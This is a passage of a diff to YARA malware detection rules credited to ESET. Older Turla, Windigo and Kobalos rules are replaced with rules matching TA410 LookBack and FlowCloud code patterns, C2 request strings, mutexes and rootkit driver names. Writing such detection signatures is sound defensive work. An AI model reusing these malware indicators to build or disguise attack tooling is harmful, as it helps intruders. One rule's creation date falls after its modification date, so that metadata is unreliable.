83 C? 04 // add rdx, 4 - 48 (81 FA | 3D ) ?? ?? ?? ?? // cmp rdx, _size - 75 D? // jnz short _begin + $initialize = { + 8B C6 //mov eax, esi + 99 //cdq + 83 E2 03 //and edx, 3 + 03 C2 //add eax, edx + C1 F8 02 //sar eax, 2 + 8A C8 //mov cl, al + 02 C0 //add al, al + 02 C8 //add cl, al + 88 4C 34 10 //mov byte ptr [esp + esi + 0x10], cl + 46 //inc esi + 81 FE 00 01 00 00 //cmp esi, 0x100 + 72 ?? } - $32 = { - 69 C9 6D 4E C6 41 // imul ecx, 41C64E6Dh - 8B B4 1A ?? ?? ?? ?? // mov esi, [edx+ebx+_data] - 81 C1 39 30 00 00 // add ecx, 12345 - 31 CE // xor esi, ecx - 89 34 10 // mov [eax+edx], esi - 83 C2 04 // add edx, 4 - 81 FA ?? ?? ?? ?? // cmp edx, _size - 75 DD // jnz short loc_69A5 + $generate = { + 8A 94 1C 10 01 ?? ?? //mov dl, byte ptr [esp + ebx + 0x110] + 8D 8C 24 10 01 ?? ?? //lea ecx, [esp + 0x110] + 0F B6 C3 //movzx eax, bl + 0F B6 44 04 10 //movzx eax, byte ptr [esp + eax + 0x10] + 32 C2 //xor al, dl + 02 F0 //add dh, al + 0F B6 C6 //movzx eax, dh + 03 C8 //add ecx, eax + 0F B6 01 //movzx eax, byte ptr [ecx] + 88 84 1C 10 01 ?? ?? //mov byte ptr [esp + ebx + 0x110], al + 43 //inc ebx + 88 11 //mov byte ptr [ecx], dl + 81 FB 00 06 00 00 //cmp ebx, 0x600 + 72 ?? //jb 0x10025930 + } + $decrypt = { + 0F B6 C6 //movzx eax, dh + 8D 8C 24 10 01 ?? ?? //lea ecx, [esp + 0x110] + 03 C8 //add ecx, eax + 8A 19 //mov bl, byte ptr [ecx] + 8A C3 //mov al, bl + 02 C6 //add al, dh + FE C6 //inc dh + 02 F8 //add bh, al + 0F B6 C7 //movzx eax, bh + 8A 94 04 10 01 ?? ?? //mov dl, byte ptr [esp + eax + 0x110] + 88 9C 04 10 01 ?? ?? //mov byte ptr [esp + eax + 0x110], bl + 88 11 //mov byte ptr [ecx], dl + 0F B6 C2 //movzx eax, dl + 0F B6 CB //movzx ecx, bl + 33 C8 //xor ecx, eax + 8A 84 0C 10 01 ?? ?? //mov al, byte ptr [esp + ecx + 0x110] + 30 04 2E //xor byte ptr [esi + ebp], al + 46 //inc esi + 3B F7 //cmp esi, edi + 7C ?? //jl 0x10025980 } condition: - any of them + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Onimiki : LINUX_ONIMIKI +rule ESET_Apt_Windows_TA410_Lookback_Loader : FILE { meta: - description = "Linux/Onimiki malicious DNS server" - author = "Olivier Bilodeau " - id = "3a99799f-fbb4-5fee-a796-3310acd10e17" - date = "2014-02-06" - modified = "2014-04-04" + description = "Matches the modified function in LookBack libcurl loader." + author = "ESET Research" + id = "d0aac4f6-f72f-5adf-8f8f-9251bad70131" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/windigo/windigo-onimiki.yar#L32-L59" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L256-L309" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "eac30f5c9a9606d1d0e14c55e0532c54976fbb0d2e4f5cd2d9f719b77e07161a" + logic_hash = "98390dd664227ad747e5572771d12e7ebd2475d26db27e85508347ac6f44f3bf" score = 75 quality = 80 - tags = "LINUX/ONIMIKI" - malware = "Linux/Onimiki" - operation = "Windigo" - contact = "windigo@eset.sk" + tags = "FILE" license = "BSD 2-Clause" + version = "1" strings: - $a1 = {43 0F B6 74 2A 0E 43 0F B6 0C 2A 8D 7C 3D 00 8D} - $a2 = {74 35 00 8D 4C 0D 00 89 F8 41 F7 E3 89 F8 29 D0} - $a3 = {D1 E8 01 C2 89 F0 C1 EA 04 44 8D 0C 92 46 8D 0C} - $a4 = {8A 41 F7 E3 89 F0 44 29 CF 29 D0 D1 E8 01 C2 89} - $a5 = {C8 C1 EA 04 44 8D 04 92 46 8D 04 82 41 F7 E3 89} - $a6 = {C8 44 29 C6 29 D0 D1 E8 01 C2 C1 EA 04 8D 04 92} - $a7 = {8D 04 82 29 C1 42 0F B6 04 21 42 88 84 14 C0 01} - $a8 = {00 00 42 0F B6 04 27 43 88 04 32 42 0F B6 04 26} - $a9 = {42 88 84 14 A0 01 00 00 49 83 C2 01 49 83 FA 07} + $chunk_1 = { + FF 15 ?? ?? ?? ?? //call dword ptr [0x100530e0] + 6A 40 //push 0x40 + 68 00 10 00 00 //push 0x1000 + 68 F0 04 00 00 //push 0x4f0 + 6A 00 //push 0 + FF 15 ?? ?? ?? ?? //call dword ptr [0x100530d4] + 8B E8 //mov ebp, eax + B9 3C 01 00 00 //mov ecx, 0x13c + BE 60 30 06 10 //mov esi, 0x10063060 + 8B FD //mov edi, ebp + 68 F0 04 00 00 //push 0x4f0 + F3 A5 //rep movsd dword ptr es:[edi], dword ptr [esi] + 55 //push ebp + E8 ?? ?? ?? ?? //call 0x100258d0 + 8B 0D ?? ?? ?? ?? //mov ecx, dword ptr [0x100530e4] + A1 ?? ?? ?? ?? //mov eax, dword ptr [0x100530c8] + 68 6C 02 00 00 //push 0x26c + 89 4C 24 ?? //mov dword ptr [esp + 0x1c], ecx + 89 44 24 ?? //mov dword ptr [esp + 0x20], eax + FF 15 ?? ?? ?? ?? //call dword ptr [0x10063038] + 8B D8 //mov ebx, eax + B9 9B 00 00 00 //mov ecx, 0x9b + BE 50 35 06 10 //mov esi, 0x10063550 + 8B FB //mov edi, ebx + 68 6C 02 00 00 //push 0x26c + F3 A5 //rep movsd dword ptr es:[edi], dword ptr [esi] + 53 //push ebx + E8 ?? ?? ?? ?? //call 0x100258d0 + 83 C4 14 //add esp, 0x14 + 8D 44 24 ?? //lea eax, [esp + 0x10] + 50 //push eax + 53 //push ebx + 8D 44 24 ?? //lea eax, [esp + 0x3c] + 50 //push eax + A1 ?? ?? ?? ?? //mov eax, dword ptr [0x10063058] + FF 74 24 ?? //push dword ptr [esp + 0x28] + 03 C5 //add eax, ebp + FF D0 //call eax + } condition: - all of them + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Turla_Outlook_Gen + +rule ESET_Apt_Windows_TA410_Lookback_Strings : FILE { meta: - description = "Turla Outlook malware" + description = "Matches multiple strings and export names in TA410 LookBack." author = "ESET Research" - id = "efef2443-c941-54c2-abfa-bbe29c53d930" - date = "2018-05-09" - modified = "2018-09-05" + id = "b693c468-5abf-579d-bc03-67f67339feb9" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L42-L74" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L311-L331" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "f709e517e9d957775601670c426cc9def1c4104cb1ff647d269800d2af4372c7" + logic_hash = "d17ed604e3691c20fe489f95197b7b802ec951ed13d538fa6643449485b326b2" score = 75 - quality = 78 - tags = "" - version = 2 - contact = "github@eset.com" + quality = 80 + tags = "FILE" license = "BSD 2-Clause" + version = "1" strings: - $s1 = "Outlook Express" ascii wide - $s2 = "Outlook watchdog" ascii wide - $s3 = "Software\\RIT\\The Bat!" ascii wide - $s4 = "Mail Event Window" ascii wide - $s5 = "Software\\Mozilla\\Mozilla Thunderbird\\Profiles" ascii wide - $s6 = "%%PDF-1.4\n%%%c%c\n" ascii wide - $s7 = "%Y-%m-%dT%H:%M:%S+0000" ascii wide - $s8 = "rctrl_renwnd32" ascii wide - $s9 = "NetUIHWND" ascii wide - $s10 = "homePostalAddress" ascii wide - $s11 = "/EXPORT;OVERRIDE;START=-%d;END=-%d;FOLDER=%s;OUT=" ascii wide - $s12 = "Re:|FWD:|AW:|FYI:|NT|QUE:" ascii wide - $s13 = "IPM.Note" ascii wide - $s14 = "MAPILogonEx" ascii wide - $s15 = "pipe\\The Bat! %d CmdLine" ascii wide - $s16 = "PowerShellRunner.dll" ascii wide - $s17 = "cmd container" ascii wide - $s18 = "mapid.tlb" ascii wide nocase - $s19 = "Content-Type: F)*+" ascii wide fullword + $s1 = "SodomMainFree" ascii wide + $s2 = "SodomMainInit" ascii wide + $s3 = "SodomNormal.bin" ascii wide + $s4 = "SodomHttp.bin" ascii wide + $s5 = "sodom.ini" ascii wide + $s6 = "SodomMainProc" ascii wide condition: - ESET_Not_Ms_PRIVATE and 5 of them + uint16( 0 ) == 0x5a4d and ( 2 of them or pe.exports ( "SodomBodyLoad" ) or pe.exports ( "SodomBodyLoadTest" ) ) } -rule ESET_Turla_Outlook_Filenames +rule ESET_Apt_Windows_TA410_Lookback_HTTP : FILE { meta: - description = "Turla Outlook filenames" + description = "Matches LookBack's hardcoded HTTP request" author = "ESET Research" - id = "3a08003d-50d6-5fdf-9f74-222335ebfa3e" - date = "2018-08-22" - modified = "2018-09-05" + id = "ca4ee437-5ac9-5715-90fb-e0e74a817bb5" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L76-L91" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L333-L349" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "3be86c9325de6634c032321beed131fdf1e1952afcb43258fb202d0097610501" + logic_hash = "0e777f56136cd11d62abdf4f120410d5fe9cd522cfc06afbf085414a96279bf7" score = 75 quality = 80 - tags = "" - contact = "github@eset.com" + tags = "FILE" license = "BSD 2-Clause" + version = "1" strings: - $s1 = "mapid.tlb" - $s2 = "msmime.dll" - $s3 = "scawrdot.db" + $s1 = "POST http://%s/status.php?r=%d%d HTTP/1.1\x0d\nAccept: text/html, application/xhtml+xml, */*\x0d\nAccept-Language: en-us\x0d\nUser-Agent: %s\x0d\nContent-Type: application/x-www-form-urlencoded\x0d\nAccept-Encoding: gzip, deflate\x0d\nHost: %s\x0d\nContent-Length: %d\x0d\nConnection: Keep-Alive\x0d\nCache-Control: no-cache\x0d\n\x0d\n" ascii wide + $s2 = "id=1&op=report&status=" condition: - any of them + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Turla_Outlook_Log +rule ESET_Apt_Windows_TA410_Lookback_Magic : FILE { meta: - description = "First bytes of the encrypted Turla Outlook logs" + description = "Matches message header creation in LookBack." author = "ESET Research" - id = "b0031c08-8418-5a02-8a2c-daa7236f46f0" - date = "2018-08-22" - modified = "2018-09-05" + id = "5a40a307-772b-5600-9e58-f4bc6dfe6711" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L93-L107" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L351-L377" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "e7dc00c33a643c0940aaea2096d099192b27df3c81c518f1dc2b3d45a0a74312" + logic_hash = "442a08a77fd2db03e507c0d5a32b17ab4e5936a209f7af23ef3c33a4b9f3d0d5" score = 75 quality = 80 - tags = "" - contact = "github@eset.com" + tags = "FILE" license = "BSD 2-Clause" + version = "1" strings: - $s1 = {01 87 C9 75 C8 69 98 AC E0 C9 7B [21] EB BB 60 BB 5A} + $s1 = { + C7 03 C2 2E AB 48 //mov dword ptr [ebx], 0x48ab2ec2 + ( A1 | 8B 15 ) ?? ?? ?? ?? //mov (eax | edx), x + [0-1] //push ebp + 89 ?3 04 //mov dword ptr [ebc + 4], reg + 8B 4? 24 ?? //mov reg, dword ptr [esp + X] + 89 4? 08 //mov dword ptr [ebx + 8], ?? + 89 ?? 0C //mov dword ptr [ebx + 0xc], ?? + 8B 4? 24 ?? //mov reg, dword ptr [esp + X] + [1-2] //push 1 or 2 args + E8 ?? ?? ?? ?? //call + } condition: - $s1 at 0 + uint16( 0 ) == 0x5a4d and all of them } +rule ESET_Apt_Windows_TA410_Flowcloud_Loader_Strings : FILE +{ + meta: + description = "Matches various strings found in TA410 FlowCloud first stage." + author = "ESET Research" + id = "a3fb894f-8e26-5cbd-a1f2-8a9ab1db0901" + date = "2021-10-12" + modified = "2022-04-27" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L379-L415" + license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" + logic_hash = "3c90723e009ffe2603910566ac52a324256676ee3ff128d94427681010e10e8b" + score = 75 + quality = 78 + tags = "FILE" + license = "BSD 2-Clause" + version = "1" -rule ESET_Turla_Outlook_Exports + strings: + $key = "y983nfdicu3j2dcn09wur9*^&initialize(y4r3inf;'fdskaf'SKF" + $s2 = "startModule" fullword + $s4 = "auto_start_module" wide + $s5 = "load_main_module_after_install" wide + $s6 = "terminate_if_fail" wide + $s7 = "clear_run_mru" wide + $s8 = "install_to_vista" wide + $s9 = "load_ext_module" wide + $s10 = "sll_only" wide + $s11 = "fail_if_already_installed" wide + $s12 = "clear_hardware_info" wide + $s13 = "av_check" wide fullword + $s14 = "check_rs" wide + $s15 = "check_360" wide + $s16 = "responsor.dat" wide ascii + $s17 = "auto_start_after_install_check_anti" wide fullword + $s18 = "auto_start_after_install" wide fullword + $s19 = "extern_config.dat" wide fullword + $s20 = "is_hhw" wide fullword + $s21 = "SYSTEM\\Setup\\PrintResponsor" wide + $event = "Global\\Event_{201a283f-e52b-450e-bf44-7dc436037e56}" wide ascii + $s23 = "invalid encrypto hdr while decrypting" + + condition: + uint16( 0 ) == 0x5a4d and ( $key or $event or 5 of ( $s* ) ) +} +rule ESET_Apt_Windows_TA410_Flowcloud_Header_Decryption : FILE { meta: - description = "Export names of Turla Outlook Malware" + description = "Matches the function used to decrypt resources headers in TA410 FlowCloud" author = "ESET Research" - id = "6df4f75e-711a-539d-94bf-9e4e2063ecd4" - date = "2018-08-22" - modified = "2018-09-05" + id = "403c1845-bc25-5a49-8553-8a0be18d6970" + date = "2026-01-01" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/turla-outlook.yar#L109-L125" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L417-L496" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "a961fdb43ea1e99b308f55b8f5e264b1f3fa817eaf463d512e2ad8b98a18ee99" + logic_hash = "74b6c42bf2de159b2b0a15637e6bd94069367e3000c887714d6e3b50aa3646be" score = 75 quality = 80 - tags = "" - contact = "github@eset.com" + tags = "FILE" license = "BSD 2-Clause" + strings: + $chunk_1 = { + 8B 1E + 8B CF + D3 CB + 8D 0C 28 + 83 C7 06 + 30 18 + 8B 1E + D3 CB + 8D 0C 02 + 30 58 ?? + 8B 1E + D3 CB + 8B 4C 24 ?? + 03 C8 + 30 58 ?? + 8B 1E + D3 CB + 8B 4C 24 ?? + 03 C8 + 30 58 ?? + 8B 1E + D3 CB + 8B 4C 24 ?? + 03 C8 + 83 C0 06 + 30 58 ?? + 8B 1E + D3 CB + 30 58 ?? + 83 FF 10 + 72 ?? + } + condition: - (pe.exports ( "install" ) or pe.exports ( "Install" ) ) and pe.exports ( "TBP_Initialize" ) and pe.exports ( "TBP_Finalize" ) and pe.exports ( "TBP_GetName" ) and pe.exports ( "DllRegisterServer" ) and pe.exports ( "DllGetClassObject" ) + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Generic_Carbon : FILE +rule ESET_Apt_Windows_TA410_Flowcloud_Dll_Hijacking_Strings : FILE { meta: - description = "Turla Carbon malware" + description = "Matches filenames inside TA410 FlowCloud malicious DLL." author = "ESET Research" - id = "efdc0d16-a974-5c00-a401-391d60f3081e" - date = "2017-03-30" - modified = "2017-03-30" + id = "6636d4d0-0a7f-5971-a7f4-58803042d874" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/carbon.yar#L33-L51" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L498-L517" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "6481ccafb7c7c78bc52d01881cb96f3aa6209fdd35e090bdc9d5f5105b4e38ea" + logic_hash = "e8082d4216364a12ba395f772b5caed94b3068d26a2b3a97ef711d61a82f65b3" score = 75 quality = 80 tags = "FILE" - contact = "github@eset.com" license = "BSD 2-Clause" + version = "1" strings: - $s1 = "ModStart" - $t1 = "STOP|OK" - $t2 = "STOP|KILL" + $dat1 = "emedres.dat" wide + $dat2 = "vviewres.dat" wide + $dat3 = "setlangloc.dat" wide + $dll1 = "emedres.dll" wide + $dll2 = "vviewres.dll" wide + $dll3 = "setlangloc.dll" wide condition: - ( uint16( 0 ) == 0x5a4d ) and ( 1 of ( $s* ) ) and ( 1 of ( $t* ) ) + uint16( 0 ) == 0x5a4d and ( all of ( $dat* ) or all of ( $dll* ) ) } - -rule ESET_Carbon_Metadata +rule ESET_Apt_Windows_TA410_Flowcloud_Malicious_Dll_Antianalysis : FILE { meta: - description = "Turla Carbon malware" + description = "Matches anti-analysis techniques used in TA410 FlowCloud hijacking DLL." author = "ESET Research" - id = "976b6a7d-00bf-5d0f-baf9-84fc5dbd21a2" - date = "2017-03-30" - modified = "2017-03-30" + id = "b38a1d4d-5053-5a6d-be8c-c00261936417" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/carbon.yar#L53-L69" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L519-L552" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "81b59e9566f3b3356acf12dadb80abdcbee28e0b1a9efead66fcb95bf6fc1aa5" + logic_hash = "8f14352118d32a43c17f70bd753acc48bd314965f10ab97818e8a434bbda96d9" score = 75 quality = 80 - tags = "" - contact = "github@eset.com" + tags = "FILE" license = "BSD 2-Clause" + version = "1" + + strings: + $chunk_1 = { + 33 C0 + E8 ?? ?? ?? ?? + 83 C0 10 + 3D 00 00 00 80 + 7D 01 + EB FF + E0 50 + C3 + } condition: - (pe.version_info [ "InternalName" ] contains "SERVICE.EXE" or pe.version_info [ "InternalName" ] contains "MSIMGHLP.DLL" or pe.version_info [ "InternalName" ] contains "MSXIML.DLL" ) and pe.version_info [ "CompanyName" ] contains "Microsoft Corporation" + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Gazer_Certificate_Subject +rule ESET_Apt_Windows_TA410_Flowcloud_Pdb : FILE { meta: - description = "Turla Gazer malware" + description = "Matches PDB paths found in TA410 FlowCloud." author = "ESET Research" - id = "a7719333-b341-538c-a8ed-5c50b653a765" - date = "2017-08-30" - modified = "2017-08-29" + id = "8bf25768-941e-55c6-bd21-f6b614c9d75d" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L33-L46" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L554-L567" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "6e870c9cdcee33769162de62ea143ff401af50b22a63d2f212c44d06f5771dec" + logic_hash = "ff95ab0f8e68efe612a6e0d70cebd8bf815d6b5e3877c098ac0761382dc310d6" score = 75 quality = 80 - tags = "" - contact = "github@eset.com" + tags = "FILE" license = "BSD 2-Clause" + version = "1" condition: - for any i in ( 0 .. pe.number_of_signatures - 1 ) : ( pe.signatures [ i ] . subject contains "Solid Loop" or pe.signatures [ i ] . subject contains "Ultimate Computer Support" ) + uint16( 0 ) == 0x5a4d and ( pe.pdb_path contains "\\FlowCloud\\trunk\\" or pe.pdb_path contains "\\flowcloud\\trunk\\" ) } -rule ESET_Gazer_Certificate : FILE +rule ESET_Apt_Windows_TA410_Flowcloud_Shellcode_Decryption : FILE { meta: - description = "Turla Gazer malware" + description = "Matches the decryption function used in TA410 FlowCloud self-decrypting DLL" author = "ESET Research" - id = "e90bbe53-4e7f-59c4-a505-4893150bf824" - date = "2017-08-30" - modified = "2017-08-29" + id = "8af7b2fa-be40-5ec8-8413-1c982a463a9a" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L48-L65" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L569-L615" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "eb3afbaefd23d4fc6ded494d3378dc910a0832b160e733ab79c590128dd74cea" + logic_hash = "939ffe6a41c957aa5d6c012484b2deab49a5e71a4b7e203a41c180f872803921" score = 75 quality = 80 tags = "FILE" - contact = "github@eset.com" license = "BSD 2-Clause" + version = "1" strings: - $certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02} - $certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c} + $chunk_1 = { + 33 D2 + 8B 45 ?? + BB 6B 04 00 00 + F7 F3 + 81 C2 A8 01 00 00 + 81 E2 FF 00 00 00 + 8B 7D ?? + 33 C9 + EB ?? + 30 14 39 + 00 14 39 + 41 + 3B 4D ?? + 72 ?? + } condition: - ( uint16( 0 ) == 0x5a4d ) and 1 of them and filesize < 2MB + uint16( 0 ) == 0x5a4d and all of them } -rule ESET_Gazer_Logfile_Name : FILE +rule ESET_Apt_Windows_TA410_Flowcloud_Fcclient_Strings : FILE { meta: - description = "Turla Gazer malware" + description = "Strings found in fcClient/rescure.dat module." author = "ESET Research" - id = "3e1454e9-dddf-5197-b486-b96d725fdb58" - date = "2017-08-30" - modified = "2017-08-29" + id = "876bae0b-2612-559b-9ead-b633a3789663" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/turla/gazer.yar#L67-L85" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L617-L639" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "b50553f4b4b07f124e5bd390e7dc8ac6b60a8ef185f3bc227894f957d6483478" + logic_hash = "c05b7031a5aec1bcf29eca06c010c402edeb24a093a2043dbc21781dff22c7fe" score = 75 quality = 80 tags = "FILE" - contact = "github@eset.com" license = "BSD 2-Clause" + version = "1" strings: - $s1 = "CVRG72B5.tmp.cvr" - $s2 = "CVRG1A6B.tmp.cvr" - $s3 = "CVRG38D9.tmp.cvr" + $s1 = "df257bdd-847c-490e-9ef9-1d7dc883d3c0" + $s2 = "\\{2AFF264E-B722-4359-8E0F-947B85594A9A}" + $s3 = "Global\\{26C96B51-2B5D-4D7B-BED1-3DCA4848EDD1}" wide + $s4 = "{804423C2-F490-4ac3-BFA5-13DEDE63A71A}" wide + $s5 = "{A5124AF5-DF23-49bf-B0ED-A18ED3DEA027}" wide + $s6 = "XXXModule_func.dll" + $driver1 = "\\drivers\\hidmouse.sys" wide fullword + $driver2 = "\\drivers\\hidusb.sys" wide fullword condition: - ( uint16( 0 ) == 0x5a4d ) and 1 of them + uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or all of ( $driver* ) ) } -rule ESET_Kobalos +rule ESET_Apt_Windows_TA410_Flowcloud_Fcclientdll_Strings : FILE { meta: - description = "Kobalos malware" - author = "Marc-Etienne M.Léveillé" - id = "cdffbe3d-c19d-53a8-9051-48affae00c8a" - date = "2020-11-02" - modified = "2021-02-01" + description = "Strings found in fcClientDll/responsor.dat module." + author = "ESET Research" + id = "80ecaf51-406f-590c-8f9c-59672683de02" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/kobalos/kobalos.yar#L32-L56" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L641-L669" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "9161d22f9fbb1700dc3121e32104240e34512cb280aaf950aec61513f89061ef" + logic_hash = "3a93f58cf14b57a96157077ec14aa6fb181e3da80f4ba46c0379a58b67c08a0e" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" version = "1" strings: - $encrypted_strings_sizes = { - 05 00 00 00 09 00 00 00 04 00 00 00 06 00 00 00 - 08 00 00 00 08 00 00 00 02 00 00 00 02 00 00 00 - 01 00 00 00 01 00 00 00 05 00 00 00 07 00 00 00 - 05 00 00 00 05 00 00 00 05 00 00 00 0A 00 00 00 - } - $password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C } - $rsa_512_mod_header = { 10 11 02 00 09 02 00 } - $strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE } + $s1 = "http://%s/html/portlet/ext/draco/resources/draco_manager.swf/[[DYNAMIC]]/1" + $s2 = "Cookie: COOKIE_SUPPORT=true; JSESSIONID=5C7E7A60D01D2891F40648DAB6CB3DF4.jvm1; COMPANY_ID=10301; ID=666e7375545678695645673d; PASSWORD=7a4b48574d746470447a303d; LOGIN=6863303130; SCREEN_NAME=4a2b455377766b657451493d; GUEST_LANGUAGE_ID=en-US" + $fc_msg = ".fc_net.msg" + $s4 = "\\pipe\\namedpipe_keymousespy_english" wide + $s5 = "8932910381748^&*^$58876$%^ghjfgsa413901280dfjslajflsdka&*(^7867=89^&*F(^&*5678f5ds765f76%&*%&*5" + $s6 = "cls_{CACB140B-0B82-4340-9B05-7983017BA3A4}" wide + $s7 = "HTTP/1.1 200 OK\x0d\nServer: Apache-Coyote/1.1\x0d\nPragma: No-cache\x0d\nCache-Control: no-cache\x0d\nExpires: Thu, 01 Jan 1970 08:00:00 CST\x0d\nLast-Modified: Fri, 27 Apr 2012 08:11:04 GMT\x0d\nContent-Type: application/xml\x0d\nContent-Length: %d\x0d\nDate: %s GMT" + $sql1 = "create table if not exists table_filed_space" + $sql2 = "create table if not exists clipboard" + $sql3 = "create trigger if not exists file_after_delete after delete on file" + $sql4 = "create trigger if not exists file_data_after_insert after insert on file_data" + $sql5 = "create trigger if not exists file_data_after_delete after delete on file_data" + $sql6 = "create trigger if not exists file_data_after_update after update on file_data" + $sql7 = "insert into file_data(file_id, ofs, data, status)" condition: - any of them + uint16( 0 ) == 0x5a4d and ( any of ( $s* ) or #fc_msg >= 8 or 4 of ( $sql* ) ) } -rule ESET_Kobalos_Ssh_Credential_Stealer +rule ESET_Apt_Windows_TA410_Rootkit_Strings : FILE { meta: - description = "Kobalos SSH credential stealer seen in OpenSSH client" - author = "Marc-Etienne M.Léveillé" - id = "b1fc5163-de48-57fc-8ae7-1f2be6c64d8a" - date = "2020-11-02" - modified = "2021-02-01" + description = "Strings found in TA410's Rootkit" + author = "ESET Research" + id = "a6a97721-571e-5414-9b00-5789d7bcd078" + date = "2021-10-12" + modified = "2022-04-27" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/kobalos/kobalos.yar#L58-L73" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/ta410/ta410.yar#L671-L697" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "be238f5c2cc976a5638584a8c0fc580f2076735aadfe374e8d4162ba723bce10" + logic_hash = "1d3ad63508c5e4bca32b9a44b738cb4a7384ccfa5704ce329260adb342ea4e60" score = 75 quality = 80 - tags = "" + tags = "FILE" license = "BSD 2-Clause" version = "1" strings: - $ = "user: %.128s host: 